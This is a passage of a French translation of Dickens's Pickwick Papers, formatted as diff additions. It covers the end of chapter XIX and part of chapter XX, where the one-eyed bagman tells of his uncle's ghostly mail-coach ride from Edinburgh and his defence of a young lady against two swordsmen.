+
+--Ma foi, répondit celui-ci, comme j'ai dîné dans la salle du café et
+que je me coucherai bientôt, ce n'en est guère la peine. Voyez quelles
+sont les personnes qui se trouvent dans la salle des voyageurs?»
+
+Sam revint bientôt dire qu'il n'y avait qu'un gentleman borgne, qui
+buvait un bol de bishop avec l'hôte.
+
+«C'est bon, je vais les aller trouver.
+
+--C'est un drôle de gaillard, monsieur, que ce borgne, dit Sam en
+conduisant M. Pickwick. Il en fait avaler de toutes les couleurs au
+maître de l'hôtel, si bien que le pauvre homme ne sait plus s'il se
+tient sur la semelle de ses souliers ou sur la forme de son chapeau.»
+
+Lorsque M. Pickwick entra dans la salle, l'individu à qui s'appliquait
+cette observation était en train de fumer une énorme pipe hollandaise,
+et tenait son oeil unique constamment fixé sur le visage arrondi de
+l'aubergiste. Il venait apparemment de raconter au jovial vieillard
+quelque histoire étonnante, car celui-ci laissait encore échapper de ses
+lèvres des exclamations de surprise. «Eh bien, je n'aurais pas cru ça!
+c'est la plus étrange chose que j'aie jamais entendu dire! Je ne pensais
+pas que ce fut possible!»
+
+«Serviteur, monsieur, dit le borgne à M. Pickwick; une jolie soirée,
+monsieur.
+
+--Très-belle,» répondit le philosophe; et il s'occupa à mélanger
+l'eau-de-vie et l'eau chaude que le garçon avait placées devant lui. Le
+borgne le regardait avec attention et lui dit enfin:
+
+«Je crois que je vous ai déjà rencontré.
+
+--Je ne m'en souviens pas.
+
+--Cela ne m'étonne pas, vous ne me connaissiez pas. Mais moi je
+connaissais deux de vos amis qui restaient au _Paon d'argent_ à
+Eatanswill, à l'époque des élections.
+
+--Oh! en vérité.
+
+--Oui; Je leur ai raconté une petite aventure qui était arrivée à un de
+mes amis nommé Tom Smart. Peut-être que vous leur en aurez entendu
+parler?
+
+--Souvent, dit M. Pickwick en souriant. Il était votre oncle, je pense.
+
+--Non, non, seulement un ami de mon oncle.
+
+--Malgré ça, c'était un homme bien étonnant que votre oncle, dit
+l'aubergiste en branlant la tête.
+
+--Eh! eh! je le crois bien, répliqua le borgne. Je pourrais vous
+rapporter une histoire de ce même oncle, qui vous étonnerait peut-être
+un peu, gentlemen.
+
+--Racontez-la nous, je vous en supplie, dit M. Pickwick avec
+empressement.»
+
+Le borgne tira du bol un verre de vin chaud et le but; prit une bonne
+bouffée de fumée dans la pipe hollandaise, et voyant que Sam lanternait
+autour de la porte, lui dit qu'il pouvait rester s'il voulait, et qu'il
+n'y avait rien de secret dans son histoire. Enfin, fixant son oeil
+unique sur l'aubergiste, il commença dans les termes du chapitre
+suivant.
+
+
+
+
+CHAPITRE XX.
+
+Contenant l'histoire de l'oncle du commis-voyageur.
+
+
+Mon oncle, gentlemen, dit le commis-voyageur, était le gaillard le plus
+jovial, le plus plaisant, le plus malin qui ait jamais existé. Je
+voudrais que vous l'eussiez connu, gentlemen.... Mais non, en y
+réfléchissant, je ne le voudrais point; car, suivant le cours de la
+nature, si vous l'aviez connu, vous seriez ou morts ou si près de
+l'être, que vous auriez renoncé à courir le monde, ce qui me priverait
+de l'inestimable plaisir de vous parler en ce moment. Gentlemen, je
+voudrais que vos pères et vos mères eussent connu mon oncle, il leur
+aurait plu étonnamment, principalement à vos respectables mères. J'en
+suis sûr et certain. Si parmi ses nombreuses vertus il y en avait deux
+qui prédominaient, j'oserais dire que c'était son punch et ses chansons
+à boire. Pardonnez-moi de me laisser aller ainsi au mélancolique
+souvenir du mérite qui n'est plus; vous ne verrez pas tous les jours de
+la semaine un homme comme mon oncle, gentlemen.
+
+J'ai toujours regardé comme fort honorable pour mon oncle d'avoir été
+compagnon et ami intime de Tom Smart, de la grande maison de Bilson et
+Slum, _Cateaton-Street, City_. Mon oncle voyageait pour Tiggin et Welps;
+mais, pendant longtemps, il fit à peu près la même tournée que Tom. Le
+premier soir où ils se rencontrèrent, mon oncle se prit d'une fantaisie
+pour Tom, et Tom se prit d'une fantaisie pour mon oncle. Ils ne se
+connaissaient pas depuis une demi-heure, lorsqu'ils parièrent à qui
+ferait le meilleur bol de punch, et le boirait le plus vite. On jugea
+que mon oncle avait gagné, pour la façon; mais pour ce qui est de boire,
+Tom l'emporta environ d'une demi-cuiller à sel. Ils prirent alors un
+autre bol chacun, pour boire mutuellement à leur santé, et furent
+toujours amis dévoués, depuis lors. Il y a une destinée dans ces sorte
+de choses, gentlemen; c'est plus fort que nous.
+
+En apparence personnelle, mon oncle était une idée plus court que la
+taille moyenne, il était aussi une idée plus gros; et peut-être que son
+visage était une idée plus rouge que les visages ordinaires. Il avait la
+face la plus joviale que vous ayez jamais vue, gentlemen. Quelque chose
+qui tenait de polichinelle, avec un nez et un menton beaucoup plus
+avantageux. Ses yeux étincelaient toujours de gaieté, et sur sa figure
+s'épanouissait perpétuellement un sourire; non pas un de vos ricanements
+insignifiants, bêtes, vulgaires, mais un vrai sourire, joyeux,
+satisfait, malin. Une fois il fut lancé hors de son cab, et se cogna la
+tête contre une borne. Il resta là, étourdi, et le visage si abîmé par
+le sable, que, pour me servir de son expression énergique, si sa pauvre
+mère avait pu revenir sur la terre, elle ne l'aurait pas reconnu. En y
+réfléchissant, gentlemen, je puis vous en donner ma parole d'honneur,
+car lorsqu'elle mourut, mon oncle n'avait que deux ans et sept mois; et,
+sans parler des écorchures, ses bottes à revers auraient sans doute
+singulièrement embarrassé la bonne dame, pour ne rien dire non plus de
+son nez et de sa face rubiconde. N'importe: il était là, étendu, et j'ai
+souvent entendu dire qu'il souriait aussi agréablement que s'il était
+tombé par partie de plaisir, et qu'après avoir été saigné, aussitôt
+qu'il s'était senti revivre, il avait commencé par se dresser dans son
+lit, éclater de rire, embrasser la jeune fille qui tenait la palette,
+après quoi il avait demandé sur-le-champ une côtelette de mouton et des
+noix marinées. Il était fort amateur de noix marinées, gentlemen; il
+disait que, prises sans vinaigre, elles faisaient trouver la bière
+meilleure.
+
+La grande tournée de mon oncle avait lieu à la chute des feuilles. C'est
+alors qu'il faisait rentrer les fonds, et prenait les commissions dans
+le Nord. Il allait de Londres à Édimbourg, d'Édimbourg à Glascow; de
+Glascow il revenait à Édimbourg, et enfin à Londres, par le paquebot. Il
+faut que vous sachiez que cette seconde visite à Édimbourg était pour
+son propre plaisir; il avait l'habitude d'y revenir pour une semaine,
+juste le temps de voir ses vieux amis; et comme il déjeunait avec
+celui-ci, goûtait avec celui-là, dînait avec un troisième et soupait
+avec un autre, il passait une jolie petite semaine, pas mal occupée. Je
+ne sais pas si quelqu'un de vous, gentlemen, a jamais tâté d'un solide
+déjeuner écossais, substantiel, abondant, puis est allé ensuite faire un
+petit goûter d'un baril d'huîtres et d'une douzaine de bouteilles d'ale,
+avec un ou deux flacons de whiskey, pour terminer. Si cela vous est
+arrivé, vous conviendrez avec moi qu'il faut avoir la tête un peu
+solide pour faire honneur, après cela, au dîner et au souper.
+
+Mais que Dieu vous bénisse tant cela n'était rien pour mon oncle. Il y
+était si bien fait, que ce n'était pour lui qu'un jeu d'enfant. Je lui
+ai entendu dire qu'il pouvait tenir tête aux gens de Dundee, et revenir
+chez lui sans trébucher; et cependant, gentlemen, les gens de Dundee ont
+des têtes et du punch aussi forts que vous pouvez en rencontrer entre
+les deux pôles. J'ai entendu parler d'un homme de Dundee et d'un autre
+de Glasgow, qui burent ensemble pendant quinze heures consécutives.
+Autant qu'on put s'en assurer, ils furent suffoqués à peu près au même
+instant: mais à cela près, gentlemen, ils ne s'en trouvèrent pas plus
+mal.
+
+Un soir, vingt-quatre heures avant l'époque qu'il avait fixée pour son
+embarquement, mon oncle soupa chez un de ses plus anciens amis, qui
+restait dans la vieille ville d'Édimbourg. Un Mac quelque chose, avec
+quatre syllabes après. Il y avait la femme du bailli, et les trois
+filles du bailli, et le grand-fils du bailli, et trois ou quatre gros
+Écossais madrés, à sourcils épais, que le bailli avait rassemblés pour
+faire honneur à mon oncle, et pour aider à chasser la mélancolie. Ce fut
+un glorieux souper. On y mangea du saumon mariné, des merluches fumées,
+une tête d'agneau, et un boudin, un haggis, célèbre plat écossais, qui
+faisait toujours à mon oncle l'effet de l'estomac d'un petit amour. Il y
+avait bien d'autres choses encore, dont j'ai oublié les noms, mais de
+bonnes choses néanmoins. Les jeunes filles étaient agréables, la femme
+du bailli paraissait une des meilleures créatures qui aient jamais
+existé, et mon oncle se montra d'une humeur charmante. Aussi, pendant
+toute la soirée, fallait-il voir les jeunes filles sourire en dessous,
+et la vieille dame éclater de rire, et les joyeux compagnons pouffer si
+joliment que leur large face en devenait écarlate. Je ne me rappelle
+pas, au juste, combien de verres de grog au _whiskey_ chacun d'eux but,
+après souper; mais ce que je sais, c'est que, vers une heure du matin,
+le grand fils du bailli perdit connaissance au moment où il entamait
+pour la vingtième fois un couplet de la chanson de Burns: _Oh! Wilie
+brassa un picotin d'orge_. Comme depuis une demi-heure environ c'était
+le seul convive que mon oncle pût voir au-dessus de la table, il s'avisa
+qu'il était bientôt temps de s'en aller, afin qu'il pût rentrer chez lui
+à une heure décente, d'autant plus qu'on avait commencé à boire à sept
+heures du soir. Croyant néanmoins qu'il ne serait pas poli de partir
+sans dire gare, mon oncle se vota au fauteuil, mélangea un autre verre
+de grog, se leva pour proposer sa santé, s'adressa un discours bien
+tourné et très flatteur, et but le toast avec enthousiasme. Cependant
+personne ne se réveillait. Mon oncle but encore une petite goutte pure,
+cette fois, de peur que le punch ne lui fît mal, et finalement,
+empoignant son chapeau, sortit dans la rue.
+
+Il faisait beaucoup de vent, lorsque mon oncle ferma la porte du bailli.
+Il enfonça solidement son chapeau sur sa tête, fourra ses mains dans ses
+poches, et regardant en l'air, passa rapidement en revue l'état de
+l'atmosphère. Des nuages passaient sur la lune avec la plus folle
+vitesse, tantôt l'obscurcissant tout à fait, tantôt lui permettant de
+répandre toute sa splendeur sur les objets environnants, puis passant de
+nouveau sur elle avec une rapidité incroyable. «Réellement, dit mon
+oncle en s'adressant au temps comme s'il s'était senti personnellement
+offensé, ça ne peut pas aller comme cela. Ce n'est pas là du tout le
+temps qu'il me faut pour mon voyage. Je n'en veux pas à aucun prix» dit
+mon oncle d'une voix imposante. Après avoir répété cela plusieurs fois,
+et après avoir recouvré son équilibre, car il était un peu étourdi
+d'avoir regardé si longtemps en l'air, il se remit gaiement en marche.
+
+La maison du bailli était dans _Canongate_, et mon oncle allait à
+l'autre bout du _Leithwalk_; un peu plus d'un mille de distance. À sa
+droite et à sa gauche, s'élevaient vers les cieux de grandes maisons
+isolées, hautes, décharnées, dont les façades étaient noircies par
+l'âge, dont les fenêtres, comme les yeux des vieillards, semblaient être
+ternes et creusées par les années. Six, sept, huit étages, s'empilaient
+comme des châteaux de cartes, les uns au-dessus des autres, jetant leur
+ombre épaisse sur la route pavée de pierres raboteuses, en rendant la
+nuit encore plus noire. Un petit nombre de lanternes étaient éparpillées
+à de grandes distances; mais elles servaient seulement à marquer
+l'entrée malpropre de quelques étroits culs-de-sac, ou de quelques
+escaliers conduisant par des méandres roides et compliqués aux divers
+étages supérieurs. Regardant toutes ces choses de l'air de quelqu'un qui
+les a vues trop souvent pour s'en soucier beaucoup, mon oncle marchait
+au milieu de la rue, avec son pouce dans chacune des poches de son
+gilet, modulant de temps en temps la chansonnette avec tant de chaleur
+que les honnêtes habitants du voisinage, réveillés en sursaut de leur
+premier sommeil, restaient tremblante dans leur lit, jusqu'à ce que le
+son s'éteignit en s'éloignant, et convaincus alors que c'était quelque
+propret à rien d'ivrogne qui regagnait sa maison, ce recouvraient
+chaudement et s'endormaient de nouveau.
+
+Gentlemen, je vous raconte minutieusement comment mon oncle marchait au
+milieu de la rue, avec ses pouces dans les poches de son gilet, parce
+que, comme il le disait souvent et avec raison, il n'y a rien du tout
+d'extraordinaire dans cette histoire, si vous ne voyez pas bien
+distinctement, dès le commencement, qu'il n'avait pas du tout l'esprit
+tourné au merveilleux, ni au romantique.
+
+Mon oncle marchait donc, avec ses pouces dans les poches de son gilet,
+occupant le milieu de la rue à lui tout seul, et chantant tantôt un
+refrain d'amour, tantôt un refrain bachique; puis, quand il était
+fatigué de l'amour et du Bacchus, sifflant mélodieusement; lorsqu'il
+atteignit le pont du Nord, qui, en cet endroit, réunit la vieille ville
+d'Édimbourg à la ville nouvelle. Il s'y arrêta, pendant une minute, à
+considérer l'amas étrange et irrégulier de lumières, empilées si haut
+dans les airs, qu'on croirait voir des étoiles briller, d'un côté, sur
+les mures de la forteresse, et de l'autre sur Calton-Hill, pour
+illuminer des châteaux aériens. À leur pied, l'antique et pittoresque
+cité dormait pesamment dans son obscurité majestueuse, tandis que le
+vieux trône d'Arthur, qui s'élevait imposant et sombre, comme un
+puissant génie, semblait garder et protéger le château et la chapelle
+d'Holyrood. Je dis, gentlemen, que mon oncle s'arrête là une minute ou
+deux, pour regarder autour de lui. Ensuite faisant un doigt de
+compliment au temps qui s'était un peu éclairci, quoique la lune fut sur
+son déclin, il se remit à marcher aussi royalement qu'auparavant,
+occupant le milieu de la route, avec une grande dignité, et comme
+quelqu'un qui voudrait bien voir qu'on lui en disputât la possession.
+Pourtant, comme il ne se trouvait là personne qui fût disposé à ouvrir
+une contestation à ce sujet, il continua de marcher, avec les pouces
+dans les poches de son gilet, aussi paisible qu'un agneau. Quand mon
+oncle eut atteint la fin de Leith-Walk, il lui fallut traverser un grand
+terrain vague, au bout duquel, en ce temps-là, se trouvait un enclos,
+appartenant à un charron, qui rachetait à l'administration des postes
+les voitures hors de service. Mon oncle était grand amateur de voitures,
+vieilles, jeunes ou d'âge moyen, et il lui prit fantaisie de se déranger
+de sa route, sans autre but que d'aller lorgner, entre les palissades,
+une douzaine d'antiques malles-postes, qu'il se rappelait avoir vues la,
+en fort mauvais état et toutes démantibulées. Mon oncle, gentlemen,
+était d'un caractère décidé, et avait la tête chaude: ne pouvant pas
+voir à son aise à travers les pieux, il grimpa par-dessus, et,
+s'asseyant tranquillement sur un vieux timon, il commença à considérer
+les débris des carrosses avec une gravité remarquable.
+
+Il y en avait peut-être une douzaine, ou même davantage; mon oncle
+n'était pas bien sûr de cela, et comme c'était un homme fort scrupuleux
+à propos de chiffres, il n'aimait point à en citer à la légère. Enfin
+ils étaient là tous, pêle-mêle, dans un état de désolation inimaginable.
+Les portières avaient été arrachées de leurs gonds, les garnitures
+enlevées; seulement de distance en distance, une loque pendait encore à
+un clou rouillé. Les lanternes étaient parties, les timons évanouis
+depuis longtemps, les ressorts brisés, les boiseries dépouillées de
+peinture. Le vent sifflait à travers les crevasses, et la pluie, qui
+s'était amassée sur les impériales, tombait goutte à goutte dans
+l'intérieur, avec un son lugubre et sourd: c'étaient enfin les
+squelettes des malles-postes décédées; et dans cette place solitaire, à
+cette heure de la mort, elles avaient quelque chose de lugubre et
+d'horrible.
+
+Mon oncle appuya sa tête sur ses mains, et se mit à penser aux gens
+actifs, affairés, qui avaient roulé autrefois dans ces vieilles
+voitures, et qui maintenant étaient aussi silencieux et aussi changés
+qu'elles-mêmes. Il pensa aux nombreux individus à qui ces carcasses
+vermoulues avaient apporté, pendant des années, à travers toutes les
+saisons, tant de nouvelles, impatiemment attendues: nouvelles d'heureux
+voyage et de bonne santé; envoi de lettres de change et d'argent. Le
+marchand, l'amant, l'épouse, la veuve, la mère, l'écolier, le bambin
+même qui se traînait à la porte, en entendant frapper le facteur; avec
+quelle anxiété chacun d'eux avait attendu l'arrivée de cette vieille
+malle-poste! Et maintenant, qu'étaient-ils tous devenus? Gentlemen, mon
+oncle disait qu'il avait pensé à tout cela; mais je soupçonne plutôt
+qu'il l'avait lu depuis dans quelque livre, car il déclarait
+positivement que, tout en regardant ces squelettes de voitures, il était
+tombé dans une espèce d'assoupissement, dont il avait été réveillé
+soudain par une cloche voisine qui sonnait deux heures. Or, mon oncle
+n'a jamais été distingué pour penser vite, et s'il avait réellement
+songé à toutes ces choses, je suis convaincu que cela l'aurait tenu,
+pour le moins, jusqu'à deux heures et demie. Je crois donc pouvoir
+affirmer que mon oncle tomba dans cette espèce d'assoupissement, sans
+avoir pensé à rien du tout.
+
+Quoi qu'il en soit, l'horloge de l'église sonna deux heures. Mon oncle
+s'éveilla, frotta ses yeux, et sauta sur ses pieds, d'étonnement.
+
+En un instant, dès que l'horloge eut sonné deux heures, cet endroit
+désert et abandonné devint plein de vie et d'activité. Les portières
+furent remises sur leurs gonds, les garnitures restaurées, les boiseries
+repeintes, les lampes allumées. Dos coussins, des houppelandes étaient
+placés sur chaque siége; les porteurs fourraient des paquets dans chaque
+coffre; les gardes rangeaient les sacs de lettres; les palefreniers
+jetaient des seaux d'eau sur les roues renouvelées; une quantité
+d'hommes se précipitaient de toutes parts, fixant des timons à chaque
+voiture. Les passagers arrivaient; les porte manteaux étaient emballés;
+les chevaux attelés; enfin il devenait évident que chaque malle allait
+partir sans retard. Gentlemen, mon oncle ouvrait de si grands yeux, en
+voyant tout cela, que jusqu'au dernier moment de sa vie, il ne pouvait
+s'expliquer comment il avait jamais été capable de les refermer.
+
+«Allons, allons! dit une voix à côté de mon oncle, en même temps qu'il
+sentait une main se poser sur son épaule; vous êtes inscrit pour un
+intérieur, il est temps de monter.
+
+--Moi inscrit! s'écria mon oncle en se retournant.
+
+--Oui, certainement.»
+
+Mon oncle, gentlemen ne put rien dire, tant il était étonné. La plus
+drôle de chose était que, quoiqu'il y eût là un si grand nombre de
+personnes, et quoique de nouveaux visages arrivassent à chaque instant,
+on ne pouvait pas dire d'où ils venaient; ils semblaient sortir
+mystérieusement de sous terre ou de l'air, et disparaître de la même
+manière. Dès qu'un commissionnaire avait mis son bagage dans la voiture
+et reçu son pourboire, il se retournait, et crac, il avait disparu!
+Avant que mon oncle eût eu le temps de s'inquiéter de ce qu'il était
+devenu, une demi-douzaine d'autres apparaissaient, chancelant sous le
+poids de paquets qui paraissaient assez gros pour les écraser. Une autre
+singularité, c'est que les voyageurs étaient tous habillés d'une manière
+étrange. Ils avaient de grands habits brodés, avec de larges basques,
+d'énormes parements, et pas de collets: enfin ils portaient de vastes
+perruques, avec un sac par derrière. Mon oncle n'y pouvait rien
+comprendre.
+
+«Eh bien! allons-nous monter?» dit l'individu qui s'était déjà adressé
+à mon oncle.
+
+Il était habillé comme un courrier de malle-poste, mais il avait une
+perruque sur la tête, et de prodigieux parements à ses manches. D'une
+main il tenait une lanterne, et de l'autre une grosse espingole.
+
+«En finirez-vous de monter, Jack Martin? répéta le garde en approchant
+sa lanterne du visage de mon oncle.
+
+--Par exemple! s'écria mon oncle en reculant d'un pas ou deux, voilà qui
+est familier.
+
+--C'est comme cela sur la feuille de route, répliqua le courrier.
+
+--Est-ce qu'il n'y a pas un _monsieur_ devant? demanda mon oncle; car il
+trouvait qu'un conducteur, qu'il ne connaissait pas, et qui l'appelait
+_Jack Martin_, tout court, prenait une liberté que l'administration de
+la poste n'aurait pas approuvée, si elle en avait été instruite.
+
+--Non, il n'y en a pas, rétorqua le conducteur froidement.
+
+--La place est-elle payée? demanda mon oncle.
+
+--Bien entendu.
+
+--Ah! ah! Eh bien, allons. Quelle voiture?
+
+--Celle-ci, répondit le garde en montrant une malle-poste gothique, dont
+la portière était ouverte, le marchepied abaissé, et qui faisait le
+service d'Édimbourg à Londres.
+
+--Attendez, voici d'autres voyageurs: laissez-les monter d'abord.»
+
+Tandis qu'il parlait, mon oncle vit tout à coup apparaître en face de
+lui un jeune gentilhomme, avec une perruque poudrée et un habit bleu,
+brodé d'argent, dont les basques doublées de bougran étaient étonnamment
+carrées. Tiggin et Welps étaient dans les nouveautés, gentlemen, si bien
+que mon oncle reconnut du premier coup d'oeil ces étoffes. L'étranger
+avait, en outre, une culotte de soie, des bas de soie et des souliers à
+boucles. Il portait à ses poignets des manchettes, sur sa tête un
+chapeau à trois cornes, et à son côté une épée très-mince. Les pans de
+son gilet couvraient à moitié ses cuisses, et les bouts de sa cravate
+descendaient jusqu'à sa ceinture. Il s'avança gravement vers la portière
+de la voiture, ôta son chapeau et le tint à bras tendu au-dessus de sa
+tête, arrondissant en même temps son petit doigt, comme le font quelques
+personnes maniérées, en prenant une tasse de thé. Puis il plaça ses
+pieds à la troisième position, fit un profond salut, et enfin tendit sa
+main gauche. Mon oncle allait s'avancer et la secouer cordialement,
+quand il s'aperçût que ces civilités n'étaient pas pour lui, mais pour
+une jeune lady, qui parut en ce moment au bas du marchepied. Elle avait
+une robe de velours vert, d'une coupe antique, avec une longue taille et
+un corsage lacé. Elle était coiffée en cheveux, et portait sur la tête
+un capuchon de soie noire. Elle se retourna un instant, et découvrit à
+mon oncle le plus beau visage qu'il eût jamais vu, même en peinture.
+Quand elle monta dans la voiture, elle releva sa robe d'une main, et,
+comme le disait mon oncle, avec un juron, chaque fois qu'il racontait
+cette histoire, il n'aurait jamais cru que des pieds et des jambes
+pussent atteindre cette perfection, s'il ne l'avait pas vu de ses
+propres yeux.
+
+Cependant mon oncle s'était aperçu que la jeune dame paraissait
+épouvantée, et qu'elle avait jeté vers lui un regard suppliant. Il
+remarqua aussi que le jeune homme à la perruque poudrée, malgré toutes
+ses apparences de respect et de galanterie, lui avait étroitement serré
+le poignet, pour la faire monter, et l'avait suivie immédiatement. Un
+autre individu, de fort mauvaise mine, était avec eux. Il avait une
+petite perruque brune, un habit raisin de Corinthe, une énorme rapière à
+large coquille, et des bottes qui lui montaient jusqu'aux hanches. Quand
+il s'assit auprès de la charmante lady, elle se renfonça d'un air
+craintif, dans son coin, et mon oncle fut confirmé dans son idée
+première, qu'il allait se passer quelque drame sombre et mystérieux; ou,
+comme il le disait lui-même, qu'il y avait quelque chose qui clochait.
+En un clin d'oeil, il se décida à secourir la jeune dame, si elle avait
+besoin d'assistance.
+
+«Sang et tonnerre!» s'écria le jeune gentilhomme en mettant la main sur
+son épée lorsque mon oncle entra dans la voiture.
+
+--«Mort et enfer!» vociféra l'autre individu en tirant sa rapière et en
+se fendant sur mon oncle, sans plus de cérémonies.
+
+Mon oncle n'avait pas d'armes; mais, avec une grande dextérité, il
+enleva le chapeau à trois cornes de son adversaire, et recevant la
+pointe de l'épée juste au milieu de la forme, serra les deux cotés et
+empoigna solidement la lame.
+
+--Piquez-le par derrière, s'écria l'homme de mauvaise mine à son
+compagnon, tout en s'efforçant de rattraper son épée.
+
+--Qu'il ne s'en avise pas, s'écria mon oncle en relevant d'une manière
+menaçante le talon d'un de ses souliers ferrés, je lui ferais sauter la
+cervelle, s'il en a, ou s'il n'en a pas je lui briserais le crâne!
+Employant en même temps toute sa vigueur, il arracha l'épée de son
+adversaire et la jeta bravement par la portière.
+
+--Sang et tonnerre!» cria sur nouveaux frais le jeune gentilhomme en
+mettant encore la main sur le pommeau de son épée, mais sans la tirer.
+Peut-être, comme le disait mon oncle avec un sourire, peut-être avait-il
+peur d'effrayer la jeune dame.
+
+«Maintenant, gentlemen, dit mon oncle en prenant tranquillement sa
+place, il est inutile de parler de mort avec ou sans enfer, devant une
+dame, et nous avons eu assez de sang et de tonnerre pour notre voyage.
+Ainsi, s'il vous plaît, nous nous assiérons pacifiquement à nos places
+comme de paisibles voyageurs. Ici, conducteur! ramassez le couteau à
+découper de ce gentleman.»
+
+«Mon oncle n'avait pas achevé ces mots, lorsque le conducteur parut à la
+portière avec l'épée. En la passant dans l'intérieur, il leva sa
+lanterne et regarda fixement mon oncle, qui, à sa grande surprise,
+aperçut autour de la voiture une fourmilière de conducteurs ayant tous
+les yeux rivés sur lui. Jamais, dans toute sa vie, il n'avait vu un si
+grand nombre de visages pâles, d'habits rouges et de regards fixes.
+
+«Voilà la chose la plus étrange qui me soit arrivée jusqu'à ce jour,
+pensa mon oncle. Permettez-moi de vous rendre votre chapeau, monsieur.»
+
+L'individu de mauvaise mine reçut en silence le chapeau à trois cornes,
+regarda attentivement le trou qui se trouvait au milieu, et, finalement,
+le plaça sur le sommet de sa perruque, avec une solennité dont l'effet
+fut cependant légèrement diminué par un violent éternuement qui fit
+retomber son tricorne sur ses genoux.
+
+«En route!» cria la conducteur armé de la lanterne, en montant par
+derrière sur son petit siége. La voiture partit. Mon oncle, en sortant
+de la cour, regarda à travers les glaces, et vit que les autres malles,
+avec les cochers, les gardes, les chevaux et les voyageurs, tournaient
+en rond, au petit trot, avec une vitesse d'environ cinq milles à
+l'heure. Mon oncle bouillait d'indignation, gentlemen. Comme négociant
+il trouvait qu'on ne devait pas badiner avec les dépêches, et il résolut
+d'en écrire à la direction des postes aussitôt après son retour à
+Londres.
+
+Bientôt cependant toutes ses pensées se concentrèrent sur la jeune dame,
+qui était assise à l'autre coin de l'intérieur, le visage soigneusement
+enveloppé dans son capuchon. Le gentilhomme à l'habit bleu se trouvait
+en face d'elle, et à côté d'elle, l'autre individu en habit raisin de
+Corinthe. Tous les deux la surveillaient attentivement. Si elle faisait
+frôler les plis de son capuchon, mon oncle entendait l'homme de mauvaise
+mine mettre la main sur sa rapière, et il était sûr, par la respiration
+du jeune matamore (car la nuit était trop noire pour distinguer les
+visages), qu'il lui faisait une moue et des yeux comme s'il avait voulu
+l'avaler. Ce manège irrita mon oncle de plus en plus, et il résolut d'en
+voir la fin à tout prix. Il avait une grande admiration pour les yeux
+brillants et pour les jolis visages, pour les pieds mignons et pour les
+jolies jambes; en un mot, il était passionné pour le sexe tout entier.
+Cela court dans le sang de la famille, gentlemen, je suis comme lui.
+
+Mon oncle employa bien des subterfuges pour attirer l'attention de la
+jeune dame, ou tout au moins pour engager la conversation avec ses
+mystérieux compagnons, mais ce fut en vain. Les gentlemen ne voulaient
+pas parler, et la jeune dame ne l'osait pas. De temps en temps mon oncle
+mettait la tête à la portière et demandait à haute voix pourquoi on
+n'allait pas plus vite; mais il avait beau s'enrouer à crier, personne
+ne faisait attention à lui. Il se renfonçait alors dans son coin et
+pensait au joli visage, au pied mignon, à la jambe fine de sa compagne
+de voyage; ceci réussissait à lui faire passer le temps, et l'empêchait
+de s'inquiéter de l'étrange situation où il se trouvait, allant toujours
+sans savoir où. Il est vrai que cela ne l'aurait pas beaucoup tourmenté
+de toute manière; car mon oncle, gentlemen, était un gaillard
+entreprenant, nomade, sans peur et sans souci.
+
+Tout d'un coup la voiture s'arrêta:
+
+«Ohé! cria mon onde, qu'est-ce qui nous arrive maintenant;
+
+--Descendez ici, dit le conducteur en abattant le marchepied.
+
+--Ici! fit mon oncle.
+
+--Ici répéta le garde.
+
+--Je n'en ferai rien.
+
+--À la bonne heure, alors, restez où vous êtes.
+
+--C'est mon intention.
+
+--C'est bien.»
+
+Les autres voyageurs avaient écouté ce colloque fort attentivement.
+Voyant que mon onde était déterminé à rester, le jeune gentilhomme passa
+devant lui, pour faire descendre la dame. Dans ce moment, l'homme de
+mauvaise mine inspectait minutieusement le trou qui déshonorait le fond
+de son tricorne. La jeune dame, en passant, laissa tomber son gant dans
+la main de mon oncle, et, approchant les lèvres de son visage, si près
+qu'il sentit sur son nez une tiède haleine, lui murmura tout bas ces
+deux mots:«Secourez-moi monsieur.» Mon oncle s'élança à bas de la
+voiture avec tant de violence qu'il la fit bondir sur ses ressorts.
+
+«Ah! vous vous ravisez?» a dit le conducteur, quand il vit mon oncle sur
+ses jambes.
+
+Mon oncle le regarda pendant quelques secondes, incertain s'il devait
+lui arracher son espingole, la tirer au visage du matamore, casser la
+tête du reste de la compagnie avec la crosse, saisir la jeune dame et
+disparaître au milieu de la fumée. En y réfléchissant, toutefois, il
+abandonna ce plan, comme d'une exécution un peu mélodramatique, et il se
+contenta de suivre les deux hommes mystérieux dans une vieille maison
+devant laquelle la voiture s'était arrêtée. Conduisant entre eux la
+jeune dame, ils tournèrent dans le corridor, et mon oncle s'y enfonça à
+leur suite.
+
+De tous les endroits ruinés et désolés que mon oncle avait rencontrés
+dans sa vie, celui-ci était le plus désolé et le plus ruiné. On voyait
+que ç'avait été autrefois un vaste hôtel, mais le toit était ouvert dans
+plusieurs endroits, et les escaliers étaient raboteux et défoncés. Dans
+la chambre où les voyageurs entrèrent, il y avait une vaste cheminée,
+toute noire de fumée, quoiqu'elle ne fût égayée par aucun feu. La cendre
+blanchâtre du bois brûlé était encore répandue sur l'âtre, mais le foyer
+était froid, et tout paraissait sombre et triste.
+
+«Voilà du joli, dit mon oncle en regardant autour de lui; une malle qui
+fait six milles et demi à l'heure, et qui s'arrête indéfiniment dans un
+trou comme celui-ci! C'est un peu fort! mais ça sera connu; j'en écrirai
+aux journaux.»
+
+Mon oncle dit cela d'une voix assez élevée et d'une manière ouverte et
+sans réserve, pour tâcher d'engager la conversation avec les deux
+étrangers; mais ils se contentèrent de chuchoter entre eux, en lui
+lançant des regards farouches. La dame était à l'autre bout de la
+chambre, et elle s'aventura, une fois, à agiter sa main, comme pour
+demander l'assistance de mon oncle.
+
+À la fin les deux étrangers s'avancèrent un peu, et la conversation
+commença.
+
+«Mon brave homme, dit le gentilhomme en habit bleu, vous ne savez pas,
+je suppose, que ceci est une chambre particulière.
+
+--Non, mon brave homme; je n'en sais rien, rétorqua mon oncle.
+Seulement si ceci est une chambre particulière, préparée exprès,
+j'imagine que la salle publique doit être joliment confortable!»
+
+En disant cela, mon oncle s'établit dans un grand fauteuil et mesura de
+l'oeil les deux gentlemen, si exactement, que Tiggin et Welps auraient
+pu leur fournir l'étoffe d'un habit, sans y mettre un pouce de plus ni
+de moins.
+
+«Quittez cette chambre! dirent les deux hommes ensemble, en saisissant
+leurs épées.
+
+--Hein? fit mon oncle, sans avoir l'air de comprendre ce qu'ils
+voulaient dire.
+
+--Quittez cette chambre, ou vous êtes mort! dit l'homme de mauvaise
+mine, en mettant sa grande flamberge au vent, et en la faisant voltiger
+au-dessus de sa tête.
+
+--Tue! tue! s'écria l'homme à l'habit bleu, en dégainant aussi son épée
+et en reculant deux ou trois pas. Tue! tue!»
+
+La dame jeta un grand cri. Mon oncle, gentlemen, était remarquable pour
+sa hardiesse et pour sa présence d'esprit. Pendant tout le temps qu'il
